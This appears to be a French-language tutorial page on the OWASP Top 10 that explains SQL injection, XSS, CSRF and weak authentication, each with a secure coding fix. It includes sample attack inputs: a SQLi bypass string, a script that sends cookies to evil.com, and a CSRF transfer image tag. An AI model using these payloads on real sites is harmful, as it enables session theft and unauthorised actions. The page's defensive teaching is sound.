Retour

🛡️ OWASP Top 10

Les 10 vulnérabilités web les plus critiques

Les Dangers du Web 🚨

L'OWASP (Open Web Application Security Project) publie chaque année le Top 10 des vulnérabilités les plus dangereuses. Connaître ces failles peut sauver ton app ! 🔐

#1

💉 Injection SQL (SQLi)

🚨 Le Danger

L'attaquant insère du code SQL malveillant dans vos requêtes !

// CODE VULNÉRABLE ❌
String query = "SELECT * FROM users WHERE username = '" + username + "'";
// Si l'attaquant entre : admin' OR '1'='1
// La requête devient :
// SELECT * FROM users WHERE username = 'admin' OR '1'='1'
// → Retourne TOUS les users ! 😱

✅ La Solution : PreparedStatement

// CODE SÉCURISÉ ✅
PreparedStatement ps = conn.prepareStatement(
    "SELECT * FROM users WHERE username = ?"
);
ps.setString(1, username); // Échappement automatique
ResultSet rs = ps.executeQuery();
#2

🎭 Cross-Site Scripting (XSS)

🚨 Le Danger

Injecter du JavaScript malveillant dans une page web.

// Attaquant poste un commentaire :
<script>
    document.location='http://evil.com/steal?cookie='+document.cookie;
</script>
// Si affiché tel quel → cookies volés ! 🍪

✅ La Solution : Échapper HTML

// PHP : htmlspecialchars()
echo htmlspecialchars($userInput, ENT_QUOTES, 'UTF-8');
// JavaScript : textContent (pas innerHTML)
element.textContent = userInput; // ✅ Sûr
element.innerHTML = userInput;   // ❌ Dangereux
// React échappe automatiquement ! ✅
<div>{userInput}</div>
#3

🔄 Cross-Site Request Forgery (CSRF)

🚨 Le Scénario

Tu es connecté à ta banque. Tu visites un site malveillant qui contient :

<img src="https://banque.com/transfer?to=hacker&amount=1000" />
// Ton navigateur envoie automatiquement tes cookies de session ! 💸

✅ La Solution : CSRF Tokens

// Backend génère un token unique
<form>
    <input type="hidden" name="csrf_token" value="abc123xyz" />
</form>
// Backend vérifie le token
if ($_POST['csrf_token'] !== $_SESSION['csrf_token']) {
    die('CSRF attack detected!');
}
#4

🔐 Authentification Cassée

Mauvaises Pratiques Communes :

  • Mots de passe stockés en clair
  • Sessions qui n'expirent jamais
  • Pas de 2FA (authentification à 2 facteurs)
  • Token JWT sans expiration

✅ Bonnes Pratiques :

// Hasher les mots de passe avec bcrypt
$hash = password_hash($password, PASSWORD_BCRYPT);
// Vérifier
if (password_verify($input, $hash)) {
    // OK
}

📋 OWASP Top 10 Complet (2021)

#1 Broken Access Control

Accès non autorisé à des ressources

#2 Cryptographic Failures

Données sensibles exposées

#3 Injection

SQL, NoSQL, OS command injection

#4 Insecure Design

Conception sans sécurité

#5 Security Misconfiguration

Mauvaise configuration

#6 Vulnerable Components

Dépendances non à jour

#7 Auth Failures

Authentification faible

#8 Data Integrity Failures

Données non vérifiées

#9 Logging Failures

Pas de logs d'incidents

#10 SSRF

Server-Side Request Forgery

✅ Checklist Sécurité Rapide

Backend

  • ☑️ PreparedStatements pour SQL
  • ☑️ Hash + salt pour passwords
  • ☑️ HTTPS obligatoire
  • ☑️ CORS configuré
  • ☑️ Rate limiting activé
  • ☑️ JWT avec expiration

Frontend

  • ☑️ Échapper tout input utilisateur
  • ☑️ CSRF tokens sur formulaires
  • ☑️ Valider côté client ET serveur
  • ☑️ Content Security Policy
  • ☑️ Dependencies à jour (npm audit)
  • ☑️ Pas de secrets dans le code

🧪 Démo Interactive : XSS

❌ Version Vulnérable

⚠️ Essaie de taper : <script>alert('XSS!')</script>

✅ Version Sécurisée

✅ Le HTML est échappé automatiquement !

💡 Leçon :

Toujours échapper l'input utilisateur avant de l'afficher ! React le fait par défaut avec les accolades {}.

🎮 Quiz Interactif !

Réponds aux questions et apprends en t'amusant !

💡 Feedback immédiat après chaque réponse

Question 1 / 5
Score: 0 / 0
Glisser pour continuer vers Cryptographie
⬇️